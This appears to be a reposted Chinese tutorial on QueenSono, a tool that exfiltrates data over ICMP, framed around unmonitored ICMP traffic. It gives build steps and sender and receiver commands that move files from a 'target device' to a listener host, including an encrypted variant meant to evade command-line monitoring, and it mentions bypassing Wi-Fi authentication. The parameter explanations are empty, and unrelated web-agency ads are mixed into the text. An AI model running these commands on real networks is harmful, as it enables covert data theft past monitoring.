QueenSono是一款针对ICMP协议的数据提取工具,该工具基于Golang开发,并且只依赖于ICMP协议不受监控这一事实实现其功能。除此之外,该工具也可以用于基本的ICMP检查,或绕过某些身份验证机制,比如说许多公共Wi-Fi在连接到Wi-Fi(如机场Wi-Fi)后用于对用户进行身份验证。
我们提供的服务有:成都做网站、网站设计、微信公众号开发、网站优化、网站认证、富裕ssl等。为超过千家企事业单位解决了网站和推广的问题。提供周到的售前咨询和贴心的售后服务,是有科学管理、有技术的富裕网站制作公司
从源码安装:
广大研究人员可以直接使用下列命令将该项目源码克隆至本地,并安装好该工具所需的依赖组件:
- git clone https://github.com/ariary/QueenSono.git
- make before.build
下列命令可以构建ICMP包发送器-qssender:
- build.queensono-sender
下列命令可以构建ICMP包接收器-qsreceiver:
- build.queensono-receiver
ICMP包发送器-qssender将负责把ICMP数据包发送至监听器,因此我们需要将qssender源码传输到目标设备上。
ICMP包接收器-qsreceiver就是我们本地设备上的数据包监听器了。
所有的命令和工具参数都可以使用“--help”来查看。
(1) 工具使用样例1:发送包携带“ACK”
在这个例子中,我们将发送一个大型文件,并查看接收到数据包之后的回复信息:
在本地设备上,运行下列命令:
- $ qsreceiver receive -l 0.0.0.0 -p -f received_bible.txt
参数解释:
在目标设备上,运行下列命令:
- $ wget https://raw.githubusercontent.com/mxw/grmr/master/src/finaltests/bible.txt #download a huge file (for the example)
- $ qssender send file -d 2 -l 127.0.0.1 -r 10.0.0.92 -s 50000 bible.txt
参数解释:
(2) 工具使用样例2:发送包不携带“ACK”
在这个例子中,我们希望在不等待回复信息的情况下发送数据:
在本地设备上,运行下列命令:
- $ qsreceiver receive truncated 1 -l 0.0.0.0
参数解释:
在目标设备上,运行下列命令:
- $ qssender send "thisisatest i want to send a string w/o waiting for the echo reply" -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 1 -N
参数解释:
(3) 工具使用样例3:发送加密数据
在这个例子中,我们将发送加密消息。由于命令行可能会被监控,因此我们将使用非对称加密(防止密钥泄露):
在本地设备上,运行下列命令:
- $ qsreceiver receive -l 0.0.0.0 --encrypt
参数解释:
在目标设备上,运行下列命令:
- $ export MSG="
" - $ export KEY="
" - $ qssender send $MSG -d 1 -l 127.0.0.1 -r 10.0.0.190 -s 5 --key $KEY
参数解释:
QueenSono:【GitHub传送门】
网页标题:如何使用QueenSono从ICMP提取数据
标题网址:http://www.mswzjz.cn/qtweb/news39/394289.html
攀枝花网站建设、攀枝花网站运维推广公司-贝锐智能,是专注品牌与效果的网络营销公司;服务项目有等
声明:本网站发布的内容(图片、视频和文字)以用户投稿、用户转载内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。电话:028-86922220;邮箱:631063699@qq.com。内容未经允许不得转载,或转载时需注明来源: 贝锐智能